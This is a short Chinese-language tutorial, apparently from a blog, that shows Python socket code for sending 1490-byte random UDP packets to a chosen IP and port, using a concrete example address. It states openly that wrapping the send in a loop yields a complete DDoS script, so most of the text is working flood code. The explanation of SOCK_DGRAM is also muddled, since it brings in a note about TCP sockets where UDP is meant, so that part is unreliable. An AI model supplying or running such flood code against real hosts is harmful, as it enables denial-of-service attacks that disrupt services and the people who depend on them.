使用Python socket自帶庫傳送資料包
import socket #一句話匯入socket庫
import random #下面要構建資料包
下面建立一個和目標的socket通訊:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
socket.AF_INET:或者地址家族:因特網。另一個地址家族AF_INET6用於第6版因特網協議(IPv6)定址。此外,還有其他的地址家族,這些要麼是專業的、過時的、很少使用的,要麼是仍未實現的。在所有的地址家族之中,目前AF_INET是使用得最廣泛的。
socket.SOCK_DGRAM:為了建立 TCP套接字,必須使用 SOCK_STREAM 作為套接字型別。
下來byte = random._urandom(1490) #構建資料包,裡面的資料填別的我沒啥意見:)
然後傳送資料包:
sock.sendto(byte, ("目標IP地址",int(目標埠)))
譬如sock.sendto(byte, ("120.73.29.148",520)),就是給120.73.29.148這個IP的520埠發包。
這裡就完成了一次包傳送,下面就和SYN泛洪攻擊一樣,加一個迴圈,稍加裝飾,就是一個完整的DDOS指令碼了。
————————————————